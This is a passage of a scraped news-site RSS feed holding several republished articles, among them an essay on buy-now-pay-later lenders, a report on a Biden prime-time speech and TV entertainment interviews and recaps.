The FAA did not immediately respond to Insider's request for comment after business hours.

Read the original article on Business Insider

https://i.insider.com/631826485c870800189ee594?format=jpeg

]]> https://briefnews.eu/united-airlines-threatens-to-stop-services-at-new-yorks-jfk-airport-unless-federal-regulators-let-it-run-more-flights-there/feed/ 0 Why Is There Financing for Everything Now? https://briefnews.eu/why-is-there-financing-for-everything-now/ https://briefnews.eu/why-is-there-financing-for-everything-now/#respond Mon, 05 Sep 2022 22:14:55 +0000 https://briefnews.eu/why-is-there-financing-for-everything-now/ This article was published online on December 15, 2020.

Everyone is born a mark, and you have to hope you wise up from there. Getting purposefully and repeatedly fooled is one of the fundamental experiences of childhood—by peekaboo, by Santa Claus, by the idea that you’ll grow a watermelon in your tummy if you swallow the seeds. The more kids realize they’ve been fooled, first by caregivers doing some good-natured baby trickery and then by peers at school, the wiser they theoretically get to situations in which they should be wary.

When high school spits kids out into adulthood, they’d better have learned those lessons well—the stakes of being a mark ratchet up considerably along with the legal rights of being a grown-up. Suddenly banks, lenders, student-loan underwriters, and any store hyping a 20 percent discount for opening a new credit card would like to show you your options. The pitches are pretty good, too: No one trying to shake you down at recess was dangling the carrot of shopping sprees or class mobility. If you need to pay for college, rent an apartment, or just buy some jeans, the entire field of credit and lending unfurls before you.

Yet few Americans hit the age of majority with more than a rudimentary understanding of their finances, and the country’s banks are poorly regulated. From 2004 to 2020, student-loan debt metastasized from $ 250 billion to $ 1.5 trillion, as the costs of higher education increased but wages in many fields didn’t rise to meet them. Also putting young people into arrears during the aughts: carnival barkers in the quad hawking Visa, Mastercard, and the like alongside free T‑shirts and pizza, until the federal government kicked credit-card companies off campus in 2009 and barred them from sending sign-up pitches offering prizes to those living in college housing.

The new protections, combined with an ambient fear of debt in a country still reeling from a loan-induced economic catastrophe, worked. Young Americans began opening credit cards less frequently; when they did, they missed fewer payments and maintained lower balances than previous generations had. In 2012, only 41 percent of people in their 20s had a credit card, as opposed to more than 73 percent of American households overall. The use of debit cards soared. The marks weren’t so easy anymore.

[From the July/August 2020 issue: The looming bank collapse]

By 2019, that progress had eroded. The number of 20‑somethings with credit cards ticked above 50 percent, and more of them began falling behind on payments. The cost of living was rising, the Great Recession wasn’t so close in the rearview mirror, and people needed and wanted to buy things, even if they didn’t necessarily want credit cards. It was the perfect time for a shiny new gambit from the finance world, and one emerged to meet the moment: point-of-sale lending start-ups like Klarna, Afterpay, and Affirm, or, as many of them prefer to be known, “buy now, pay later” services.

You’ve probably seen these businesses infiltrate many of the places you shop online. They’re embedded in the checkout processes at Walmart, H&M, Sephora, Dyson. Their promises are enticing: Split a $ 200 pair of Adidas into four automatic, interest-free payments of $ 50, with only a cursory credit check required. Try a pricey new moisturizer and return it if you don’t like it before the money has even left your bank account. Pelotons don’t cost two grand; they cost 60 interest-free bucks a month for a few years. The checkout lenders market themselves on simplicity, transparency, and low cost—credit for people who are too smart to get tangled up with credit cards. But when you find yourself being flattered and asked for your debit-card number in the same breath, it’s time once again to ponder one of life’s most important questions: What’s the catch?

When Erin Lowry first encountered the chance to take out a loan for a couple hundred dollars from Affirm, she was buying Cole Haan shoes. This was a few years ago, before Affirm and similar services had been adopted by tens of thousands of American internet retailers. “My gut reaction was like, Oh, this is a terrible idea,” Lowry, the author of the Broke Millennial financial-advice books, told me. Her standard counsel for these situations probably won’t shock you: Deals that sound too good to be true probably are. But could point-of-sale lenders be the exception to the rule?

[Read: Why everything is sold out]

These companies put forth a range of financing alternatives, but their most ubiquitous breaks down purchases into two to four installments, paid automatically over a few weeks or months, usually with your debit card. The fine print varies, but the plans typically charge no interest, and the penalty for missing a payment ranges from nothing to nominal—seven or eight bucks. (Credit cards are also accepted, but that, of course, introduces the possibility of paying interest.) Upon checkout, you give the store’s lending partner your name, address, phone number, and birth date, and are approved or rejected based on an algorithm in lieu of a full credit check. None of the major lenders discloses the criteria included in their algorithms, but the time of day and the size of your purchase are often cited as examples of what might be considered—bad news if you want to spend a lot of money at three in the morning.

For Lowry, the claim of transparency and low cost felt like a red flag in and of itself. Most credit-card companies make money through interest and fees paid by the people who use their cards and continually add to their balances—so what was going on here? If you’re not sure who’s funding the bottom line, Lowry told me, it’s probably you, in one way or another.

According to the lenders, their revenue comes primarily from stores, which pay much more than they would to process the same transactions with credit cards. Why are retailers willing to fork over the extra money? “They say consumers are more likely to shop; they see consumers spending a bit more money and shopping more regularly,” says David Sykes, the head of Klarna’s U.S. division. He compares his firm’s business model to the one with which the Home Shopping Network struck gold decades ago: When people hear “four payments of $ 25,” they just don’t feel like they’re spending $ 100.

These new lenders also give retailers greater access to a demographic whose purchasing power is relatively untapped: the nearly half of Americans in their 20s who don’t have a credit card. While many of the services offer loans for four- or five-figure purchases, with interest rates similar to those of credit cards, their bread and butter is the mundane commerce of everyday life for the young—people buying a last-minute suit for a job interview or stocking up during a sale at Sephora before their next paycheck clears.

As is the case with credit cards, Lowry thinks the trick is using these services infrequently. Something that’s simple for one purchase can be difficult to track across many, especially for inexperienced budgeters. “It can become really easy to forget that two months ago, you purchased an item that’s taking $ 25 out of your account for the next four months,” she said. “That’s a quick way to end up in a debt cycle.” And like with other forms of credit, if you just don’t pay, a bill collector will come after you.

Amanda Clayman, a Prudential financial therapist and wellness advocate (a thing that many people could use right now), told me that the very novelty of these services presents peril. “Any new technology has a certain seductiveness,” she said. “When we have these new exposures to things that make it easier for us to buy, we don’t yet have the experience or template of danger. We only see the promise.”

All of the financial experts I spoke with voiced apprehension about the sudden pervasiveness of point-of-sale lenders and the challenges consumers face in using them wisely. Their penchant for targeting young audiences, with sponsored content from Instagram influencers and RuPaul’s Drag Race contestants, was also a point of concern. But the experts were clear about something else: There is no reason to vilify these services more than any of the other products that encourage (or merely help) people to buy things they can’t afford.

“The U.S. market for financial services is regulated under the philosophy of caveat emptor,” observes Sarah Newcomb, the director of behavioral science at the financial-research firm Morningstar. “Our laws basically say, ‘Look, you need to know what you’re buying—it’s on you.’ ” That includes services that are objectively much riskier than what Klarna and its kin are peddling—such as payday lenders, which make small loans at sky-high interest rates to people who, because of their low income or poor credit history, can’t use regular banks. These businesses take advantage of the working poor, yes, but so does the larger financial system, which leaves many people who need to pay the electric bill or buy groceries dependent on such high-risk loans.

[From the May 2016 issue: Will anything better replace payday lending?]

“That line between helpful and predatory can be really blurry,” Newcomb told me. “What may be predatory to one type of customer is actually a very good solution for another type of customer.” Over the summer, I took out a zero-interest Affirm loan to buy a Peloton after considering the terms for a few months. I feel like I got a great deal—I was going to buy the bike regardless, and I’m paying no more than I would have had I taken the money out of my savings account. The benefit for me is that I get to hold on to my cash a bit longer, a cushion in case I have some kind of expensive emergency.

But I’m in my mid-30s, which makes me a little long in the tooth for any service looking to reach The Youths. I know things now that I didn’t know when I was in college and accruing five figures of consumer debt, which it took me years to pay down. I would have salivated at the idea of paying $ 72.50 up front for a new Coach bag and worrying about the rest in a few weeks. (There would not have been much more money in a few weeks.)

That come-what-may desire for instant gratification is what point-of-sale loans hope to inspire in us, after all. By decoupling the act of buying from the act of spending, they remove the psychological friction that can force people to stop, consider their choices, and decide whether they can really afford to buy that one fabulous thing. They obliterate the moment in which you might ask yourself if you are a mark.

This article appears in the January/February 2021 print edition with the headline “Jeans Now, Pay Later.”

]]> https://briefnews.eu/why-is-there-financing-for-everything-now/feed/ 0 Biden lambastes ‘MAGA Republicans’ in rare prime time attack just 2 months before the midterms: ‘There is no place for political violence in America’ https://briefnews.eu/biden-lambastes-maga-republicans-in-rare-prime-time-attack-just-2-months-before-the-midterms-there-is-no-place-for-political-violence-in-america/ https://briefnews.eu/biden-lambastes-maga-republicans-in-rare-prime-time-attack-just-2-months-before-the-midterms-there-is-no-place-for-political-violence-in-america/#respond Fri, 02 Sep 2022 05:15:41 +0000 https://briefnews.eu/biden-lambastes-maga-republicans-in-rare-prime-time-attack-just-2-months-before-the-midterms-there-is-no-place-for-political-violence-in-america/ Biden Independence Hall
President Joe Biden speaks outside Independence Hall, Thursday, Sept. 1, 2022, in Philadelphia.

(AP Photo/Evan Vucci)

  • President Joe Biden on Thursday delivered a speech on the "battle for the soul of the nation." 
  • The president assailed "MAGA Republicans," who he said are determined to take the country backwards.
  • "For a long time, we've reassured ourselves that American democracy is guaranteed," he said. "But it is not.

With some of his strongest statements yet, President Joe Biden assailed "MAGA Republicans" in a rare prime-time speech on Thursday evening, as he spoke of an impending "battle for the soul of the nation," just two months ahead of the November midterm elections.

Though his administration advertised the speech as an official White House event and not a campaign event, Biden's televised comments come as he works to drum up support for Democratic lawmakers in an effort to help his party maintain control of Congress.

Biden delivered his remarks from the Independence National Historical Park in Philadelphia at 8 p.m. ET on Thursday night, channeling the venue's "sacred" history in his early statements. 

"Tonight I have come here to the place where it all began to speak plainly as I can to the nation about the threats we face, about the power we have in our hands to meet these threats," he said. "And about the incredible future that lies in front of us if only we choose it."

Biden has mostly avoided using Trump's name in recent speeches, but by naming him Thursday, he offered a more pointed attack at the former president and his supporters, accusing them of embracing extremism. 

"MAGA forces are determined to take this country backwards. Backwards to an America where there is no right to choose, no right to privacy, no right to contraception, no right to marry who you love," Biden said. "They promote authoritarian leaders and fan the flames of political violence."

The president acknowledged that the majority of Republicans are not the type of people about which he was talking, but said the current Republican Party is undoubtedly "dominated, driven, and intimidated by MAGA Republicans," and called it a threat to our country. 

"For a long time, we've told ourselves that American democracy is guaranteed. But it is not. We have to defend it. Protect it. Stand up for it. Each and every one of us," the president said. 

Biden went off-script at one point to describe "darkness like you're hearing in that bullhorn," referring to protests outside the hall.

He urged the country to come together and unite behind a single purpose in rejecting MAGA ideology, while castigating insurrectionists and stressing the danger of undermining election integrity. 

"There's no place for political violence in America," he said to applause from the crowd.

In a statement shared with Insider, Republican National Committee Chairwoman Ronna McDaniel said Biden's "wretched attacks" on millions of Americans are fueling division in the country.

"His agenda has pitted neighbors against each other, rewarded the wealthy while punishing working families, and trampled on the rights and freedoms of Americans," McDaniel said. "Joe Biden is the divider-in-chief and epitomizes the current state of the Democrat Party: one of divisiveness, disgust, and hostility towards half the country."

The president's comments come just days after he suggested at a Democratic fundraiser that the ideology of the MAGA Republicans who have embraced former President Donald Trump's worldview have paved the way for "semi-fascism" in the country. 

Biden also took time during the speech to highlight some of his legislative successes, including a gun safety law and a recent healthcare reform and climate package, and made promises for the future, including ending cancer and providing more clean jobs. 

"Democracy must be defended, for democracy makes all these things possible," he said. 

The president ended his speech by encouraging people to "vote, vote, vote," and made mention of doing "our duty" in 2022 and beyond. 

But whether or not most Americans heard Biden's plea remains unclear. The three primary broadcasting networks chose not to carry his speech, opting to show their regular-scheduled programming instead. 

Read the original article on Business Insider

https://i.insider.com/63114caf3fe7c40019e4f400?format=jpeg

]]> https://briefnews.eu/biden-lambastes-maga-republicans-in-rare-prime-time-attack-just-2-months-before-the-midterms-there-is-no-place-for-political-violence-in-america/feed/ 0 New Amsterdam’s Jocko Sims Teases Reynolds’ Future at the Hospital: ‘There Will Be Twists and Turns’ https://briefnews.eu/new-amsterdams-jocko-sims-teases-reynolds-future-at-the-hospital-there-will-be-twists-and-turns/ https://briefnews.eu/new-amsterdams-jocko-sims-teases-reynolds-future-at-the-hospital-there-will-be-twists-and-turns/#respond Wed, 10 Mar 2021 09:43:46 +0000 https://briefnews.eu/new-amsterdams-jocko-sims-teases-reynolds-future-at-the-hospital-there-will-be-twists-and-turns/

RELATED STORIES

Warning: The following contains spoilers for Tuesday’s New Amsterdam. Proceed at your own risk!

New Amsterdam welcomed back one of its best surgeons during Tuesday’s episode — but was it just a temporary visit? Or will Dr. Floyd Reynolds stick around?

After performing a life-saving operation on his former colleague Dr. Vijay Kapoor, Reynolds sat in front of a memorial for all the hospital staff who had not been so lucky and died during the COVID pandemic. “I should have been here,” Reynolds, who had relocated to San Francisco a year ago, lamented to Dr. Lauren Bloom.

So will that sense of responsibility to have been there through the worst of it make Reynolds want to stay at New Amsterdam on a permanent basis? “That’s a good question, because reading that there, I assumed, ‘OK, would this be the catalyst to him staying?’” his portrayer Jocko Sims tells TVLine. “You would think that, naturally, and we play the emotion of that to lead you there, but there will be twists and turns.”

Below, the actor also mulls what a change in location would do to Reynolds’ relationship with his fiancée Evie and talks about navigating his character’s uncertain future.

TVLINE | If he does stay, what does that mean for him and Evie?
In reality, there are a lot of things to consider if Reynolds were to stay. It is entirely possible that Evie and Reynolds break up. It’s entirely possible that Evie decides that, “Hey, I made a mistake leaving New York. I can’t live without New York.” There’s a lot of possibility there when you have a relationship such as theirs. Would she come back to New Amsterdam, in particular? Who knows? We’ll have to wait and see.

New Amsterdam RecapTVLINE | The producers have been kind of playing with this idea of Reynolds leaving the hospital, but not leaving the show, but maybe he is. They just keep teasing the fans. How has it been for you navigating all of that?
That’s been so fun. It’s just added sort of like a fifth dimension of drama. Shows often toy with the idea [that] a character might die or a character might leave, and I didn’t expect, especially this early in this series, that to be something they toy with, and they are. [Laughs] They’re toying with the audience quite a bit. And I think they like that space. One thing I will tell you about the original idea is, before the pandemic, the plan was Reynolds leaves [in] Episode 17, and you were going to see Reynolds again by Episode 20 within the same season. We’re talking about a matter of weeks. The pandemic happens, and that turns into over a year. So kudos, first of all, to the writers for being able to stay on their toes and work with something like a pandemic hitting and keep us going. But the space that we ended up in as a result, I think they like that. So we’re not going to tell you anything about Reynolds’ future, or anyone for that matter. [Laughs] Look, I’ll say this: I think they like it so much that I want to say that no character is safe, ever. We found out at the end of Season 1 that a character died, and we didn’t know who it was, and it turns out it was Georgia, Max’s wife. I think much the same, by the end of this season, who knows, we may lose a character. I literally don’t know yet, but I think it’s very, very possible.

TVLINE | In a way, the pandemic has made Reynolds’ absence more realistic, because he’s been gone for a year, like he would be in real life. He probably wouldn’t come back after just a couple of weeks in real life.
Right, and it’s all fun, it’s all smart. It’s another reason to watch to see what goes on here. Once a part of the story is written and it’s aired, I look back, and I can’t imagine it the way that it was originally written. It just wouldn’t feel right. This feels so right, especially right now. We all have people, in one way or another, friends, girlfriends, mothers… I miss my mom. I haven’t seen her since the pandemic started, and this is the longest time I’ve gone [without seeing her]. So when you can have that sort of element in a story, where someone is distant because of something having to do with a pandemic or having to come back or having to be on lockdown, these are the things that we’re dealing with, and it makes it kind of real and fun to watch.

New Amsterdam RecapTVLINE | The scene with Lauren at the end of the episode, it seems significant that he was sharing that moment with her. How does their history play into what’s going on with Reynolds in that scene and possibly moving forward?
I feel like Bloom has just been more of the constant thing in Reynolds’ life that we’ve seen. His family has been a little topsy-turvy when it comes to accepting the woman he’s decided to be with. [With] the job, he’s been fired, he’s been rehired, he’s been put in charge of the department, he’s been offered another job. The only thing that’s been constant is that friendship between Reynolds and Bloom.

New Amsterdam fans, what are your hopes for Reynolds? Hit the comments!

Let’s block ads! (Why?)


https://tvline.com/wp-content/uploads/2021/03/new-amsterdam-recap.jpg

]]> https://briefnews.eu/new-amsterdams-jocko-sims-teases-reynolds-future-at-the-hospital-there-will-be-twists-and-turns/feed/ 0 Virgin River Boss Explains Why She Waited to Go ‘There’ With Mel and Jack https://briefnews.eu/virgin-river-boss-explains-why-she-waited-to-go-there-with-mel-and-jack/ https://briefnews.eu/virgin-river-boss-explains-why-she-waited-to-go-there-with-mel-and-jack/#respond Sat, 28 Nov 2020 18:36:38 +0000 https://briefnews.eu/virgin-river-boss-explains-why-she-waited-to-go-there-with-mel-and-jack/

RELATED STORIES

Warning: We’re about to spoil Season 2, Episode 2 of Netflix’s Virgin River. Need to catch up? You know what to do.

Well, folks, it finally happened. After 12 episodes of Virgin River — plus nearly a full year of waiting between seasons — Mel Monroe and Jack Sheridan finally went to the bone zone. So as far as that relationship is concerned, the show is just called River now.

The big moment follows a blow-up argument between Mel and Jack at the end of Episode 2. Mel wants to get everything out in the open so that she and Jack can go back to the way things were, apologizing for leaving and returning without telling him. He accepts her apology, but the conflict lingers.

Mel storms out, but wouldn’t you know it, her car battery is dead. (Fate is clearly ‘shipping these two.) So Jack drives her back to her cabin, where they make out on the porch before proceeding to the not-suitable-for-younger-viewers portion of the evening. So, why didn’t this long-awaited romantic milestone come sooner?

“If you’ve read the books, you know that sex is a big part of the books,” showrunner Sue Tenney tells TVLine. “But I just didn’t feel that the first season was about that. I wanted to hold off.”

As for the scene itself, star Alexandra Breckenridge (aka Mel) appreciates that the moment remained “nice and tasteful” while still feeling romantic and satisfying. “Our show, I believe, is PG-14,” she says with a laugh, “so there aren’t a lot of body parts that are allowed to be shown. We also have a huge age range that watches, from younger viewers to older viewers, and I don’t think everybody wants to see a full True Blood-level sex scene. And I fully did a True Blood scene back in the day.”

In addition to turning Mel and Jack’s courtship into a considerably slower burn, Tenney says she also resisted the urge to jump forward in time between seasons. “We’re sticking to a shorter time frame here, which I haven’t done in other series I’ve worked on. But we were afraid we would miss some really great stuff between these characters.”

Tenney credits Netflix for being a “fantastic partner” in storytelling. “They weren’t trying to hurry us up, or to rush us to where we were going,” she says. “They let us tell the story, and as a storyteller, that’s like catnip.”

And before you even suggest that Virgin River author Robyn Carr might object to any of the show’s page-to-screen changes, Tenney assures TVLine that she and Carr have nothing but respect for one another.

“[Carr] watched Season 1 when everybody else got it, and she was the first phone call I got,” Tenney recalls. “She said she couldn’t be happier, she thought it was amazing and that she wishes she’d thought of some of those twists. It’s very important to honor the books and the book fans. We talk about that often.”

Were you satisfied by Mel and Jack’s long-awaited first night together? Drop a comment with your thoughts on the episode, as well as Virgin River‘s second season in general, below.

Let’s block ads! (Why?)


https://tvline.com/wp-content/uploads/2020/11/virgin-river-202.jpg

]]> https://briefnews.eu/virgin-river-boss-explains-why-she-waited-to-go-there-with-mel-and-jack/feed/ 0 The Haves and the Have Nots Recap: Tea and Villainy — Plus, They’re Going There With [Spoiler] and [Spoiler]! https://briefnews.eu/the-haves-and-the-have-nots-recap-tea-and-villainy-plus-theyre-going-there-with-spoiler-and-spoiler/ https://briefnews.eu/the-haves-and-the-have-nots-recap-tea-and-villainy-plus-theyre-going-there-with-spoiler-and-spoiler/#respond Wed, 16 Sep 2020 10:12:36 +0000 https://briefnews.eu/the-haves-and-the-have-nots-recap-tea-and-villainy-plus-theyre-going-there-with-spoiler-and-spoiler/ Warning: The following contains spoilers for Tuesday’s The Haves and the Have Nots. If you’d rather watch first, read later, off you go.

In Tuesday’s The Haves and the Have Nots, Veronica set her sights (and paws!) on a muscle-bound new target, Vinny ordered Sandy to take aim at Wyatt, and holy crap! It looked like that dream Veronica had, in which David told her that he was in love with Hanna, wasn’t just a dream but foreshadowing! Read on, and I’ll explain why!

‘WHAT DO YOU THINK THIS IS, A PAWN SHOP?’ | As “The Executor” began, Wyatt, high as a kite, tried to trade Vinny baubles for heroin. He didn’t even recognize the mobster that he’d stabbed. “You must be as stupid as you look,” cracked Vinny. And at that moment, it would’ve been hard to argue with him, especially as Wyatt willingly, eagerly even, followed him to the basement. (Nothing good ever happens in a basement.) Meanwhile, Veronica phoned Laura at 4 in the morning to give her the day’s to-do list. What, had she awakened her housekeeper? “Sorry, not sorry.” After Veronica hung up, Laura reminded Samuel not to flirt with her boss but neglected to give the same instruction to his biceps.

At a more reasonable hour, Jim discovered that he couldn’t have Wyatt’s getaway car tracked because Katheryn had given Amanda’s former vehicle to Hanna, and she had changed the password. When he phoned Hanna, she informed him that “you don’t have anything to say to me” and ordered him to “get off my damn phone, man.” (How cute is it that Hanna says “man” so much when she’s ticked?) After she hung up on him twice, he enlisted David to speak with her. And call the tracking company. And bring him a sandwich. Guess it’s a good thing David has an inordinate amount of free time on his hands. When he left his home, there was Alissa, in one breath issuing apologies for the previous night, in the next, asking for her purse back. Oh, and a ride. That woman never, ever has a ride!

the haves and the have nots recap season 7 episode 15 vinny shoots wyatt‘THE WHOLE DAMN PRISON’S GONNA SEE!’ | At the jailhouse, a rookie officer named Kendrick Wilson — a former classmate of Amanda’s — agreed to try to find out anything that he could about Wyatt for Katheryn. Didn’t matter how he was now, inmate Sylvia warned Katheryn, because if she didn’t pay Mama Rose that $ 1M, he was a dead man. Katheryn wasn’t worried. “There is no one on this planet more ruthless than me,” she insisted. Tough talk for someone cooling her heels behind bars. Elsewhere, after Madison left for work, Jeffrey discovered that Justin had spent the whole night hidden in the hallway. “I was gonna ask you to make love to me,” he said. That was a hard pass from Jeffrey. When he went back inside, Tanner revealed that he’d been there all night, too, to see what his brother had been up to. (How many hiding places does this hallway have, anyway?) Needless to say, Tanner wasn’t pleased by what he’d overheard.

While Candace insisted on checking herself and Benny into a $ 300/night hotel, David approached Hanna as she was arriving at the Cryer mansion and, greeted as usual with “not a very Christian attitude,” asked why she was so, so hostile. “You’re just a triflin’-ass man,” she replied, “and lowdown like Jim Cryer.” Nonetheless, given Wyatt’s drug problem, Hanna would call the tracking company to get her account separated from Jim’s. Afterwards, David told Hanna that his mother had been a janitor, and he’d been so embarrassed, he’d hidden from her at his own graduation. Why was he telling her this? “I’m trying to compliment you on the standards you tried to set for your children,” he said. “I just wanted you to know that I admire you.” I seriously can’t believe we just watched that scene. Where these two are concerned, that counts as huge progress. On his part, was it… flirting? Either way, I’m fascinated.

the haves and the have nots recap season 7 episode 15 vinny shoots wyatt‘ARE YOU THREATENING ME?’ | At Charles’, the president questioned Conley about his rumored drinking problem and, when the senator suggested he call Candace, cracked, “Now I know you’ve been drinking.” In any case, Charles wanted Conley to stay out of his, er, affairs. At Veronica’s, the lady of the house could barely keep her eyes in her head when she got a gander at Samuel cleaning her pool free of charge. She told Laura that she didn’t want to meet her husband, then sent her maid upstairs so that she could introduce herself and attempt to “comfort” him on the death of their son. Rebuffed, Veronica immediately came up with an errand for Laura to run — in full Veronica drag — so that she could be alone with the hottie. Finally, Vinny woke up a now-sober Wyatt in the basement and ordered Sandy to shoot him. Since Sandy barely had the stomach to pour a shot, much less plug anybody, Vinny took the gun from him and bang! Did it himself… or so we were led to believe. Do you think Vinny really put Wyatt out of our misery? What’s Veronica’s endgame where Laura is concerned? Hit the comments with your theories.

Let’s block ads! (Why?)


https://tvline.com/wp-content/uploads/2020/09/the-haves-and-the-have-nots-season-7-episode-15-angela-robinson.png

]]> https://briefnews.eu/the-haves-and-the-have-nots-recap-tea-and-villainy-plus-theyre-going-there-with-spoiler-and-spoiler/feed/ 0